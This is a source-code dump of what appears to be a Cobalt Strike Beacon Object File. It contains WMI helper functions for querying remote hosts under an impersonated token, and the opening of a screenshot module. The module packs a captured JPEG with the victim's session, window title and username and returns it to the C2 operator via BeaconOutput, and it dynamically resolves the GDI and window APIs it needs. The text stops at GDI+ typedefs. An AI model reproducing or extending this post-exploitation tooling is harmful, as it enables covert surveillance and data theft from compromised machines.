HRESULT Wmi_Initialize(WMI* pWmi)
{
	HRESULT	hr = S_OK;

	pWmi->pWbemServices = NULL;
	pWmi->pWbemLocator  = NULL;
	pWmi->pEnumerator = NULL;
	pWmi->bstrLanguage  = NULL;
	pWmi->bstrNameSpace = NULL;
	pWmi->bstrQuery = NULL;
	
	pWmi->bstrLanguage = OLEAUT32$SysAllocString(WMI_QUERY_LANGUAGE);
	pWmi->bstrNameSpace = OLEAUT32$SysAllocString(WMI_NAMESPACE_CIMV2);

	// Initialize COM parameters
	hr = OLE32$CoInitializeEx(
		NULL, 
		COINIT_APARTMENTTHREADED
	);
	if (hr == RPC_E_CHANGED_MODE) {
    		hr = S_OK;
	} else if (FAILED(hr)) {
    		BeaconPrintf(CALLBACK_ERROR, "OLE32$CoInitializeEx failed: 0x%08lx", hr);
    		goto fail;
	}
	hr = OLE32$CoInitializeSecurity( //Failure of this function does not necessarily mean we failed to initialize, it will fail on repeated calls, but the values from the original call are retained
			NULL,
            -1,
            NULL,
            NULL,
            RPC_C_AUTHN_LEVEL_DEFAULT,
            RPC_C_IMP_LEVEL_IMPERSONATE,
            NULL,
            EOAC_DYNAMIC_CLOAKING,
            NULL);
        if (FAILED(hr))
        {
            BeaconPrintf(CALLBACK_ERROR, "Failed to set security, token impersonation may not work\n");
        }
	
	hr = S_OK;

fail:

	return hr;
}

HRESULT Wmi_Connect(
	WMI* pWmi, 
	LPWSTR resource
)
{
	HRESULT hr = S_OK;
	CLSID	CLSID_WbemLocator = { 0x4590F811, 0x1D3A, 0x11D0, {0x89, 0x1F, 0, 0xAA, 0, 0x4B, 0x2E, 0x24} };
	IID		IID_IWbemLocator = { 0xDC12A687, 0x737F, 0x11CF, {0x88, 0x4D, 0, 0xAA, 0, 0x4B, 0x2E, 0x24} };
	

	// Set the properties in the WMI object
	BSTR bstrNetworkResource = OLEAUT32$SysAllocString(resource);

	// Obtain the initial locator to Windows Management on host computer
	SAFE_RELEASE(pWmi->pWbemLocator);
	hr = OLE32$CoCreateInstance(
		&CLSID_WbemLocator,
		0,
		CLSCTX_ALL,
		&IID_IWbemLocator,
		(LPVOID *)&(pWmi->pWbemLocator)
	);
	if (FAILED(hr))
	{
		BeaconPrintf(CALLBACK_ERROR, "OLE32$CoCreateInstance failed: 0x%08lx", hr);
		OLE32$CoUninitialize();
		goto fail;
	}

	// Connect to the WMI namespace on host computer with the current user
	hr = pWmi->pWbemLocator->lpVtbl->ConnectServer(
		pWmi->pWbemLocator,
		bstrNetworkResource,
		NULL,
		NULL,
		NULL,
		0,
		NULL,
		NULL,
		&(pWmi->pWbemServices)
	);
	if (FAILED(hr))
	{
		BeaconPrintf(CALLBACK_ERROR, "ConnectServer to %ls failed: 0x%08lx", bstrNetworkResource, hr);
		goto fail;
	}

	// Set the IWbemServices proxy so that impersonation of the user (client) occurs
	hr = OLE32$CoSetProxyBlanket(
		(IUnknown *)(pWmi->pWbemServices),
		RPC_C_AUTHN_WINNT,
		RPC_C_AUTHZ_NONE,
		NULL,
		RPC_C_AUTHN_LEVEL_DEFAULT,
		RPC_C_IMP_LEVEL_IMPERSONATE,
		NULL,
		EOAC_DYNAMIC_CLOAKING
	);
	if (FAILED(hr))
	{
		BeaconPrintf(CALLBACK_ERROR, "OLE32$CoSetProxyBlanket failed: 0x%08lx", hr);
		goto fail;
	}
	hr = S_OK;

fail:
	if(bstrNetworkResource)
	{
    	OLEAUT32$SysFreeString(bstrNetworkResource);
	}
	
	return hr;
}

HRESULT Wmi_Query(
	WMI* pWmi, 
	LPWSTR pwszQuery
)
{
	HRESULT hr = 0;

	// Free any previous queries
	SAFE_FREE(pWmi->bstrQuery);

	// Set the query
	pWmi->bstrQuery = OLEAUT32$SysAllocString(pwszQuery);

	// Free any previous results
	SAFE_RELEASE(pWmi->pEnumerator);

	// Use the IWbemServices pointer to make requests of WMI
	hr = pWmi->pWbemServices->lpVtbl->ExecQuery(
		pWmi->pWbemServices,
		pWmi->bstrLanguage,
		pWmi->bstrQuery,
		WBEM_FLAG_BIDIRECTIONAL,
		NULL,
		&(pWmi->pEnumerator));
	if (FAILED(hr))
	{
    	BeaconPrintf(CALLBACK_ERROR, "ExecQuery failed: 0x%08lx", hr);
		SAFE_RELEASE(pWmi->pEnumerator);
		goto fail;
	}


	hr = S_OK;

fail:
	return hr;
}


HRESULT Wmi_ParseResults(
	WMI* pWmi,
	LPWSTR pwszKeys,
	BSTR*** ppwszResults,
	LPDWORD pdwRowCount,
	LPDWORD pdwColumnCount
)
{
	HRESULT hr = 0;
	BSTR    bstrColumns = NULL;
	BSTR**  bstrResults = NULL;
	BSTR*   bstrCurrentRow = NULL;
	DWORD   dwColumnCount = 1;
	DWORD   dwRowCount = 0;
	LPWSTR  pCurrentKey = NULL;
	DWORD   dwIndex = 0;
	IWbemClassObject *pWbemClassObjectResult = NULL;
	ULONG   ulResultCount = 0;
	VARIANT varProperty;

	// Fill in the header row
	// Count the number of header columns
	bstrColumns = OLEAUT32$SysAllocString(pwszKeys);
	for(dwIndex = 0; bstrColumns[dwIndex]; dwIndex++)
	{
		if (bstrColumns[dwIndex] == L',')
			dwColumnCount++;
	} 
	// Allocate space for the columns in the header row
	bstrCurrentRow = (BSTR*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(BSTR)*dwColumnCount);
	if (NULL == bstrCurrentRow)
	{
		hr = WBEM_E_OUT_OF_MEMORY;
		BeaconPrintf(CALLBACK_ERROR, "KERNEL32$HeapAlloc failed: 0x%08lx", hr);
		goto fail;
	}
	// Fill in each column in the header row
	pCurrentKey = MSVCRT$wcstok(bstrColumns, KEY_SEPARATOR); ;
	for(dwIndex = 0; pCurrentKey; dwIndex++)
	{
		bstrCurrentRow[dwIndex] = OLEAUT32$SysAllocString(pCurrentKey);
		pCurrentKey = MSVCRT$wcstok(NULL, KEY_SEPARATOR);
	} 
	// Allocate space for the results including the current row
	dwRowCount++;
	bstrResults = (BSTR**)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(BSTR*)*dwRowCount);
	if (NULL == bstrResults)
	{
		hr = WBEM_E_OUT_OF_MEMORY;
		BeaconPrintf(CALLBACK_ERROR, "KERNEL32$HeapAlloc failed: 0x%08lx", hr);
		goto fail;
	}
	bstrResults[dwRowCount-1] = bstrCurrentRow;
	bstrCurrentRow = NULL;

	// Loop through the enumeration of results
	hr = WBEM_S_NO_ERROR;
	while (WBEM_S_NO_ERROR == hr)
	{
		// Get the next result in our enumeration of results
		hr = pWmi->pEnumerator->lpVtbl->Next(pWmi->pEnumerator, WBEM_INFINITE, 1, &pWbemClassObjectResult, &ulResultCount); //Scanbuild false positive
		if (hr == S_OK && ulResultCount > 0) 
		{
			if (pWbemClassObjectResult == NULL) 
			{
				continue;
			}

			// Allocate space for the columns in the current row
			bstrCurrentRow = (BSTR*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(BSTR)*dwColumnCount);
			if (NULL == bstrCurrentRow)
			{
				hr = WBEM_E_OUT_OF_MEMORY;
				BeaconPrintf(CALLBACK_ERROR, "KERNEL32$HeapAlloc failed: 0x%08lx", hr);
				goto fail;
			}
			
			// Loop through each column/key and get that property from the current result
			for (dwIndex = 0; dwIndex < dwColumnCount; dwIndex++)
			{
				pCurrentKey = bstrResults[HEADER_ROW][dwIndex];

				OLEAUT32$VariantInit(&varProperty);

				// Get the corresponding entry from the current result for the current key
				hr = pWbemClassObjectResult->lpVtbl->Get(pWbemClassObjectResult, pCurrentKey, 0, &varProperty, 0, 0);
				if (FAILED(hr))
				{
					BeaconPrintf(CALLBACK_ERROR, "pWbemClassObjectResult->lpVtbl->Get failed: 0x%08lx", hr);
					//goto fail;
					continue;
				}

				if (VT_EMPTY == varProperty.vt)
				{
					bstrCurrentRow[dwIndex] = OLEAUT32$SysAllocString(EMPTY_RESULT);
				}
				else if (VT_NULL == varProperty.vt)
				{
					bstrCurrentRow[dwIndex] = OLEAUT32$SysAllocString(NULL_RESULT);
				}
				else
				{
					hr = OLEAUT32$VariantChangeType(&varProperty, &varProperty, VARIANT_ALPHABOOL, VT_BSTR);
					if (FAILED(hr))
					{
						hr = WBEM_S_NO_ERROR;
						bstrCurrentRow[dwIndex] = OLEAUT32$SysAllocString(ERROR_RESULT);
					}
					else
					{
						bstrCurrentRow[dwIndex] = OLEAUT32$SysAllocString(varProperty.bstrVal);
					}
				}

				OLEAUT32$VariantClear(&varProperty);

			} // end for loop through each column/key

			// Allocate space for the results including the current row
			dwRowCount++;
			bstrResults = (BSTR**)KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bstrResults, sizeof(BSTR*)*dwRowCount);
			if (NULL == bstrResults)
			{
				hr = WBEM_E_OUT_OF_MEMORY;
				BeaconPrintf(CALLBACK_ERROR, "KERNEL32$HeapReAlloc failed: 0x%08lx", hr);
				goto fail;
			}
			bstrResults[dwRowCount - 1] = bstrCurrentRow;
			bstrCurrentRow = NULL;

			// Release the current result
			pWbemClassObjectResult->lpVtbl->Release(pWbemClassObjectResult);

		} // end if we got a pWbemClassObjectResult

	} // end While loop through enumeration of results


	*ppwszResults = bstrResults;
	*pdwRowCount = dwRowCount;
	*pdwColumnCount = dwColumnCount;
fail:
	SAFE_FREE(bstrColumns);

	return hr;
}

// Get a list of all the properties returned from the query
// Then call the normal ParseResults using all the returned 
// properties as the keys/columns
HRESULT Wmi_ParseAllResults(
	WMI* pWmi,
	BSTR*** ppwszResults,
	LPDWORD pdwRowCount,
	LPDWORD pdwColumnCount
)
{
	HRESULT     hr = 0;
	IWbemClassObject *pWbemClassObjectResult = NULL;
	ULONG       ulResultCount = 0;
	LONG        lFlags = WBEM_FLAG_ALWAYS | WBEM_FLAG_NONSYSTEM_ONLY;
	SAFEARRAY*  psaProperties = NULL;
	LONG        lLBound = 0;
	LONG        lUBound = 0;
	size_t      ullKeysLength = 1;
	LPWSTR      pwszKeys = NULL;
	LONG        lKeyCount = 0;
	VARIANT     varProperty;

	pwszKeys = (LPWSTR)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ullKeysLength*sizeof(wchar_t));
	if (NULL == pwszKeys)
	{
		hr = WBEM_E_OUT_OF_MEMORY;
		BeaconPrintf(CALLBACK_ERROR, "KERNEL32$HeapAlloc failed: 0x%08lx", hr);
		goto fail;
	}
	
    // Get the first result in our enumeration of results
	hr = pWmi->pEnumerator->lpVtbl->Next(pWmi->pEnumerator, WBEM_INFINITE, 1, &pWbemClassObjectResult, &ulResultCount);
	if (FAILED(hr))
	{
	    BeaconPrintf(CALLBACK_ERROR, "pEnumerator->Next failed: 0x%08lx", hr);
		goto fail;
	}
	else if (ulResultCount == 0 || pWbemClassObjectResult == NULL)
	{
	    BeaconPrintf(CALLBACK_ERROR, "No results");
	    goto fail;
	}
		
			
	// Get a list of all the properties in the object
	hr = pWbemClassObjectResult->lpVtbl->GetNames(pWbemClassObjectResult, NULL, lFlags, NULL, &psaProperties );
	if ( FAILED(hr) )
	{
	    BeaconPrintf(CALLBACK_ERROR, "pWbemClassObjectResult->GetNames failed: 0x%08lx", hr);
		goto fail;
	}
	hr = OLEAUT32$SafeArrayGetLBound(psaProperties, 1, &lLBound);
    if ( FAILED(hr) )
    {
	    BeaconPrintf(CALLBACK_ERROR, "OLEAUT32$SafeArrayGetLBound failed: 0x%08lx", hr);
		goto fail;
	}
	hr = OLEAUT32$SafeArrayGetUBound(psaProperties, 1, &lUBound);
    if ( FAILED(hr) )
    {
	    BeaconPrintf(CALLBACK_ERROR, "OLEAUT32$SafeArrayGetUBound failed: 0x%08lx", hr);
		goto fail;
	}
	
	// Iterate through all the properties and create a CSV key list
	for (LONG lIndex = lLBound; lIndex <= lUBound; ++lIndex )
    {
        LPWSTR pwszCurrentName = NULL;
        hr = OLEAUT32$SafeArrayGetElement(psaProperties, &lIndex, &pwszCurrentName);
        if ( FAILED(hr) )
        {
	        BeaconPrintf(CALLBACK_ERROR, "OLEAUT32$SafeArrayGetElement(%ld) failed: 0x%08lx", lIndex, hr);
		    goto fail;
	    }
	    
	    OLEAUT32$VariantInit(&varProperty);

		// Get the corresponding property for the current property name
		hr = pWbemClassObjectResult->lpVtbl->Get(pWbemClassObjectResult, pwszCurrentName, 0, &varProperty, 0, 0);
		if (FAILED(hr))
		{
			BeaconPrintf(CALLBACK_ERROR, "pWbemClassObjectResult->lpVtbl->Get failed: 0x%08lx", hr);
			//goto fail;
			continue;
		}

        // Check the type of property because we aren't interested in references
		if (VT_BYREF & varProperty.vt)
		{
			BeaconPrintf(CALLBACK_OUTPUT, "%S is a reference, so skip", pwszCurrentName);
		}
		else
		{
            ullKeysLength = ullKeysLength + MSVCRT$wcslen( pwszCurrentName ) + 1;
            pwszKeys = (LPWSTR)KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, pwszKeys, sizeof(wchar_t)*ullKeysLength);
            if (NULL == pwszKeys)
	        {
		        hr = WBEM_E_OUT_OF_MEMORY;
		        BeaconPrintf(CALLBACK_ERROR, "KERNEL32$HeapReAlloc failed: 0x%08lx", hr);
		        OLEAUT32$VariantClear(&varProperty);
		        goto fail;
	        }
	        // If this isn't the first column, prepend a comma
	        if ( 0 != lKeyCount )
	        {
	            pwszKeys = MSVCRT$wcscat(pwszKeys, L",");
	        }
            pwszKeys = MSVCRT$wcscat(pwszKeys, pwszCurrentName);
            
            lKeyCount++;
        }
        
        OLEAUT32$VariantClear(&varProperty);
	}
	
	// Release the current result
	pWbemClassObjectResult->lpVtbl->Release(pWbemClassObjectResult);
	
	// Reset the enumeration
	hr = pWmi->pEnumerator->lpVtbl->Reset(pWmi->pEnumerator);
	if ( FAILED(hr) )
	{
	    BeaconPrintf(CALLBACK_ERROR, "Reset failed: 0x%08lx", hr);
		goto fail;
	}
	
	// Get the results for all the properties using the newly create key list
	hr = Wmi_ParseResults( pWmi, pwszKeys, ppwszResults, pdwRowCount, pdwColumnCount );
	
fail:

	if (pwszKeys)
	{
		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pwszKeys);
		pwszKeys = NULL;
	}
	
    SAFE_DESTROY(psaProperties);

	return hr;
}

void Wmi_Finalize(
	WMI* pWmi
)
{
	SAFE_RELEASE(pWmi->pWbemServices);
	SAFE_RELEASE(pWmi->pWbemLocator);

	SAFE_FREE(pWmi->bstrLanguage);
	SAFE_FREE(pWmi->bstrNameSpace);
	SAFE_FREE(pWmi->bstrQuery);

	// un-initialize the COM library
	OLE32$CoUninitialize();

	return;
}


================================================
FILE: common/wmi.h
================================================
#pragma once

#include <windows.h>
#include <wbemidl.h>
#include <stdint.h>





typedef struct _Wmi {
	IWbemServices* pWbemServices;
	IWbemLocator* pWbemLocator;
	IEnumWbemClassObject* pEnumerator;
	BSTR bstrLanguage;
	BSTR bstrNameSpace;
	BSTR bstrNetworkResource;
	BSTR bstrQuery;
} WMI;

HRESULT Wmi_Initialize(
	WMI* pWMI
);

HRESULT Wmi_Connect(
	WMI* pWmi,
	LPWSTR resource	
);

HRESULT Wmi_Query(
	WMI* pWmi, 
	LPWSTR pwszQuery
);

HRESULT Wmi_ParseResults(
	WMI* pWmi,
	LPWSTR pwszKeys,
	BSTR*** ppwszResults,
	LPDWORD pdwRowCount,
	LPDWORD pdwColumnCount
);

void Wmi_Finalize(
	WMI* pWmi
);


================================================
FILE: entry.cpp
================================================
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "bofdefs.h"
#include <gdiplus.h>    

#pragma comment(lib, "User32.lib")

/*

9/2/2025 update


this line was the source of my hatred for MSVC and CobaltStrike for 2 days
https://x.com/codex_tf2/status/1888504670269874667

for whatever reason, adding the 
```
using namespace Gdiplus;
```
line caused MSVC to use COMDAT sections which Beacon for whatever reason doesnt handle well.
But guess what? By sheer luck (and arguably slightly better handling), the TrustedSec COFFLoader
was able to run the BOF just fine.

So i had a fully working BOF that only worked in COFFLoader but not in Beacon for a whole day and a half.
thx (and condolences) to all the unfortunate souls who looked at this error with me

This single line is the cause of the migration from MSVC to mingw.

CodeX
*/
using namespace Gdiplus;


/*Download Screenshot*/
void downloadScreenshot(char* jpg, int jpgLen, int session, char* windowTitle, int titleLen, char* username, int usernameLen) {
// Function modified by @BinaryFaultline

// This data helped me figure out the C code to download a screenshot. It was found in the BOF.NET code here: https://github.com/CCob/BOF.NET/blob/2da573a4a2a760b00e66cd051043aebb2cfd3182/managed/BOFNET/BeaconObject.cs
// Special thanks to CCob doing the research around the BeaconOutput options, making this much easier for me.

// private void WriteSessionUserNameTitle(BinaryWriter bw, int session, string userName, string title) {
//             bw.Write(session);
//             bw.Write(title.Length);
//             bw.Write(Encoding.UTF8.GetBytes(title));
//             bw.Write(userName.Length);
//             bw.Write(Encoding.UTF8.GetBytes(userName));
//         }

// var screenshotCallback = new BinaryWriter(new MemoryStream());
//             screenshotCallback.Write(jpgData.Length);
//             screenshotCallback.Write(jpgData);
//             WriteSessionUserNameTitle(screenshotCallback, session, userName, title);
    int messageLength = 4 + jpgLen + 4 + 4 + titleLen + 4 + usernameLen;
    char* packedData = (char*)MSVCRT$malloc(messageLength);

    // //pack on jpgLen/fileSize as 4-byte int second
    packedData[0] = jpgLen & 0xFF;
    packedData[1] = (jpgLen >> 8) & 0xFF;
    packedData[2] = (jpgLen >> 16) & 0xFF;
    packedData[3] = (jpgLen >> 24) & 0xFF;

    int packedIndex = 4;

    // //pack on the bytes of jpg/returnData
    for (int i = 0; i < jpgLen; i++) {
        packedData[packedIndex] = jpg[i];
        packedIndex++;
    }
    
    //pack on session as 4-byte int first
    packedData[packedIndex] = session & 0xFF;
    packedData[packedIndex + 1] = (session >> 8) & 0xFF;
    packedData[packedIndex + 2] = (session >> 16) & 0xFF;
    packedData[packedIndex + 3] = (session >> 24) & 0xFF;

    //pack on titleLength as 4-byte int second
    packedData[packedIndex + 4] = titleLen & 0xFF;
    packedData[packedIndex + 5] = (titleLen >> 8) & 0xFF;
    packedData[packedIndex + 6] = (titleLen >> 16) & 0xFF;
    packedData[packedIndex + 7] = (titleLen >> 24) & 0xFF;
    
    packedIndex += 8;

    //pack on the bytes of title
    for (int i = 0; i < titleLen; i++) {
        packedData[packedIndex] = windowTitle[i];
        packedIndex++;
    }

    //pack on userLength as 4-byte int second
    packedData[packedIndex] = usernameLen & 0xFF;
    packedData[packedIndex + 1] = (usernameLen >> 8) & 0xFF;
    packedData[packedIndex + 2] = (usernameLen >> 16) & 0xFF;
    packedData[packedIndex + 3] = (usernameLen >> 24) & 0xFF;
    
    packedIndex += 4;

    //pack on the bytes of user
    for (int i = 0; i < usernameLen; i++) {
        packedData[packedIndex] = username[i];
        packedIndex++;
    }

    BeaconOutput(CALLBACK_SCREENSHOT, packedData, messageLength);
    return;
}
//-------------------------------------------------------------
// Typedefs for the WinAPI functions
//-------------------------------------------------------------
typedef char* (__cdecl *PFN_getenv)(const char*);
static PFN_getenv pgetenv = NULL;
typedef HDC(WINAPI* PFN_CreateDCA)(LPCSTR, LPCSTR, LPCSTR, const DEVMODEA*);
typedef int     (WINAPI* PFN_GetDeviceCaps)(HDC, int);
typedef BOOL(WINAPI* PFN_DeleteDC)(HDC);
typedef int     (WINAPI* PFN_GetObjectA)(HANDLE, int, LPVOID);
typedef HGDIOBJ(WINAPI* PFN_GetStockObject)(int);
typedef HDC(WINAPI* PFN_GetDC)(HWND);
typedef int     (WINAPI* PFN_ReleaseDC)(HWND, HDC);
typedef HDC(WINAPI* PFN_CreateCompatibleDC)(HDC);
typedef HBITMAP(WINAPI* PFN_CreateCompatibleBitmap)(HDC, int, int);
typedef HGDIOBJ(WINAPI* PFN_SelectObject)(HDC, HGDIOBJ);
typedef BOOL(WINAPI* PFN_PrintWindow)(HWND, HDC, UINT);
typedef BOOL(WINAPI* PFN_BitBlt)(HDC, int, int, int, int, HDC, int, int, DWORD);
typedef BOOL(WINAPI* PFN_StretchBlt)(HDC, int, int, int, int, HDC, int, int, int, int, DWORD);
typedef BOOL(WINAPI* PFN_ShowWindow)(HWND, int);
typedef LONG(WINAPI* PFN_SetWindowLongA)(HWND, int, LONG);
typedef int (WINAPI* PFN_SetStretchBltMode)(HDC, int);
typedef BOOL(WINAPI* PFN_SetLayeredWindowAttributes)(HWND, COLORREF, BYTE, DWORD);
typedef BOOL(WINAPI* PFN_UpdateWindow)(HWND);
typedef VOID(WINAPI* PFN_Sleep)(DWORD);
typedef BOOL(WINAPI* PFN_GetWindowRect)(HWND, LPRECT);
typedef HANDLE(WINAPI* PFN_CreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef BOOL(WINAPI* PFN_WriteFile) (HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef BOOL(WINAPI* PFN_CloseHandle)(HANDLE);
typedef HGLOBAL(WINAPI* PFN_GlobalAlloc)(UINT, SIZE_T);
typedef LPVOID(WINAPI* PFN_GlobalLock)(HGLOBAL);
typedef BOOL(WINAPI* PFN_GlobalUnlock)(HGLOBAL);
typedef HGLOBAL(WINAPI* PFN_GlobalFree)(HGLOBAL);
typedef BOOL(WINAPI* PFN_GetWindowPlacement)(HWND, WINDOWPLACEMENT*);
typedef DWORD(WINAPI* PFN_GetWindowThreadProcessId)(HWND, LPDWORD);
typedef BOOL(WINAPI* PFN_EnumWindows)(WNDENUMPROC, LPARAM);
typedef int     (WINAPI* PFN_GetSystemMetrics)(int);
typedef BOOL(WINAPI* PFN_SetWindowPos)(HWND, HWND, int, int, int, int, UINT);
typedef BOOL(WINAPI* PFN_DeleteObject)(HGDIOBJ);
typedef HGDIOBJ(WINAPI* PFN_SelectPalette)(HDC, HPALETTE, BOOL);
typedef UINT(WINAPI* PFN_RealizePalette)(HDC);
typedef int     (WINAPI* PFN_GetDIBits)(HDC, HBITMAP, UINT, UINT, LPVOID, LPBITMAPINFO, UINT);
typedef BOOL(WINAPI* PFN_IsWindowVisible)(HWND);
typedef DWORD (WINAPI* PFN_GetCurrentProcessId)(void);
typedef BOOL (WINAPI* PFN_ProcessIdToSessionId)(DWORD dwProcessId, DWORD* pSessionId);
typedef BOOL (WINAPI *PFN_GetHandleInformation)(HANDLE, LPDWORD);
//-------------------------------------------------------------
// init my func ptrs
//-------------------------------------------------------------
static PFN_CreateDCA              pCreateDC = NULL;
static PFN_GetDeviceCaps          pGetDeviceCaps = NULL;
static PFN_DeleteDC               pDeleteDC = NULL;
static PFN_GetObjectA             pGetObjectA = NULL;
static PFN_GetStockObject         pGetStockObject = NULL;
static PFN_GetDC                  pGetDC = NULL;
static PFN_ReleaseDC              pReleaseDC = NULL;
static PFN_CreateCompatibleDC     pCreateCompatibleDC = NULL;
static PFN_CreateCompatibleBitmap pCreateCompatibleBitmap = NULL;
static PFN_SelectObject           pSelectObject = NULL;
static PFN_PrintWindow            pPrintWindow = NULL;
static PFN_BitBlt                 pBitBlt = NULL;
static PFN_StretchBlt             pStretchBlt = NULL;
static PFN_ShowWindow             pShowWindow = NULL;
static PFN_SetWindowLongA         pSetWindowLongA = NULL;
static PFN_SetStretchBltMode      pSetStretchBltMode = NULL;
static PFN_SetLayeredWindowAttributes pSetLayeredWindowAttributes = NULL;
static PFN_UpdateWindow           pUpdateWindow = NULL;
static PFN_Sleep                  pSleep = NULL;
static PFN_GetWindowRect          pGetWindowRect = NULL;
static PFN_CreateFileA            pCreateFileA = NULL;
static PFN_WriteFile              pWriteFile = NULL;
static PFN_CloseHandle            pCloseHandle = NULL;
static PFN_GlobalAlloc            pGlobalAlloc = NULL;
static PFN_GlobalLock             pGlobalLock = NULL;
static PFN_GlobalUnlock           pGlobalUnlock = NULL;
static PFN_GlobalFree             pGlobalFree = NULL;
static PFN_GetWindowPlacement     pGetWindowPlacement = NULL;
static PFN_GetWindowThreadProcessId pGetWindowThreadProcessId = NULL;
static PFN_EnumWindows            pEnumWindows = NULL;
static PFN_GetSystemMetrics       pGetSystemMetrics = NULL;
static PFN_SetWindowPos           pSetWindowPos = NULL;
static PFN_DeleteObject           pDeleteObject = NULL;
static PFN_SelectPalette          pSelectPalette = NULL;
static PFN_RealizePalette         pRealizePalette = NULL;
static PFN_GetDIBits              pGetDIBits = NULL;
static PFN_IsWindowVisible        pIsWindowVisible = NULL;
static PFN_GetCurrentProcessId    pGetCurrentProcessId = NULL;
static PFN_ProcessIdToSessionId   pProcessIdToSessionId = NULL;
static PFN_GetHandleInformation pGetHandleInformation = NULL;
//-------------------------------------------------------------
// Dynamically resolve the required WinAPI functions because winapi limit :(
//-------------------------------------------------------------
void ResolveAPIs(void)
{
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    HMODULE hUser32 = GetModuleHandleA("user32.dll");
    HMODULE hGdi32 = GetModuleHandleA("gdi32.dll");
    HMODULE hMSVCRT = GetModuleHandleA("msvcrt.dll");
    pgetenv = (PFN_getenv)GetProcAddress(hMSVCRT, "getenv");
    pCreateDC = (PFN_CreateDCA)GetProcAddress(hGdi32, "CreateDCA");
    pGetDeviceCaps = (PFN_GetDeviceCaps)GetProcAddress(hGdi32, "GetDeviceCaps");
    pDeleteDC = (PFN_DeleteDC)GetProcAddress(hGdi32, "DeleteDC");
    pGetObjectA = (PFN_GetObjectA)GetProcAddress(hGdi32, "GetObjectA");
    pGetStockObject = (PFN_GetStockObject)GetProcAddress(hGdi32, "GetStockObject");
    pGetDC = (PFN_GetDC)GetProcAddress(hUser32, "GetDC");
    pReleaseDC = (PFN_ReleaseDC)GetProcAddress(hUser32, "ReleaseDC");
    pCreateCompatibleDC = (PFN_CreateCompatibleDC)GetProcAddress(hGdi32, "CreateCompatibleDC");
    pCreateCompatibleBitmap = (PFN_CreateCompatibleBitmap)GetProcAddress(hGdi32, "CreateCompatibleBitmap");
    pSelectObject = (PFN_SelectObject)GetProcAddress(hGdi32, "SelectObject");
    pPrintWindow = (PFN_PrintWindow)GetProcAddress(hUser32, "PrintWindow");
    pBitBlt = (PFN_BitBlt)GetProcAddress(hGdi32, "BitBlt");
    pStretchBlt = (PFN_StretchBlt)GetProcAddress(hGdi32, "StretchBlt");
    pShowWindow = (PFN_ShowWindow)GetProcAddress(hUser32, "ShowWindow");
    pSetWindowLongA = (PFN_SetWindowLongA)GetProcAddress(hUser32, "SetWindowLongA");
    pSetStretchBltMode = (PFN_SetStretchBltMode)GetProcAddress(hGdi32, "SetStretchBltMode");
    pSetLayeredWindowAttributes = (PFN_SetLayeredWindowAttributes)GetProcAddress(hUser32, "SetLayeredWindowAttributes");
    pUpdateWindow = (PFN_UpdateWindow)GetProcAddress(hUser32, "UpdateWindow");
    pSleep = (PFN_Sleep)GetProcAddress(hKernel32, "Sleep");
    pGetWindowRect = (PFN_GetWindowRect)GetProcAddress(hUser32, "GetWindowRect");
    pCreateFileA = (PFN_CreateFileA)GetProcAddress(hKernel32, "CreateFileA");
    pWriteFile = (PFN_WriteFile)GetProcAddress(hKernel32, "WriteFile");
    pCloseHandle = (PFN_CloseHandle)GetProcAddress(hKernel32, "CloseHandle");
    pGlobalAlloc = (PFN_GlobalAlloc)GetProcAddress(hKernel32, "GlobalAlloc");
    pGlobalLock = (PFN_GlobalLock)GetProcAddress(hKernel32, "GlobalLock");
    pGlobalUnlock = (PFN_GlobalUnlock)GetProcAddress(hKernel32, "GlobalUnlock");
    pGlobalFree = (PFN_GlobalFree)GetProcAddress(hKernel32, "GlobalFree");
    pGetWindowPlacement = (PFN_GetWindowPlacement)GetProcAddress(hUser32, "GetWindowPlacement");
    pGetWindowThreadProcessId = (PFN_GetWindowThreadProcessId)GetProcAddress(hUser32, "GetWindowThreadProcessId");
    pEnumWindows = (PFN_EnumWindows)GetProcAddress(hUser32, "EnumWindows");
    pGetSystemMetrics = (PFN_GetSystemMetrics)GetProcAddress(hUser32, "GetSystemMetrics");
    pSetWindowPos = (PFN_SetWindowPos)GetProcAddress(hUser32, "SetWindowPos");
    pDeleteObject = (PFN_DeleteObject)GetProcAddress(hGdi32, "DeleteObject");
    pSelectPalette = (PFN_SelectPalette)GetProcAddress(hGdi32, "SelectPalette");
    pRealizePalette = (PFN_RealizePalette)GetProcAddress(hGdi32, "RealizePalette");
    pGetDIBits = (PFN_GetDIBits)GetProcAddress(hGdi32, "GetDIBits");
    pIsWindowVisible = (PFN_IsWindowVisible)GetProcAddress(hUser32, "IsWindowVisible");
    pGetCurrentProcessId = (PFN_GetCurrentProcessId)GetProcAddress(hKernel32, "GetCurrentProcessId");
    pProcessIdToSessionId = (PFN_ProcessIdToSessionId)GetProcAddress(hKernel32, "ProcessIdToSessionId");
    pGetHandleInformation = (PFN_GetHandleInformation)GetProcAddress(hKernel32, "GetHandleInformation");
}

//-------------------------------------------------------------
// Dynamically resolve more GDI+ functions
//-------------------------------------------------------------
typedef Status(WINAPI* PFN_GdiplusStartup)(ULONG_PTR*, const GdiplusStartupInput*, GdiplusStartupOutput*);
typedef VOID(WINAPI* PFN_GdiplusShutdown)(ULONG_PTR);
typedef Status(WINAPI* PFN_GdipCreateBitmapFromHBITMAP)(HBITMAP, HPALETTE, GpBitmap**);
typedef Status(WINAPI* PFN_GdipDisposeImage)(GpImage*);
typedef Status(WINAPI* PFN_GdipSaveImageToStream)(GpImage*, IStream*, const CLSID*, const EncoderParameters*);
typedef Status(WINAPI* PFN_GdipBitmapLockBits)(GpBitmap*, const GpRect*, UINT, PixelFormat, BitmapData*);
typedef Status(WINAPI* PFN_GdipBitmapUnlockBits)(GpBitmap*, BitmapData*);
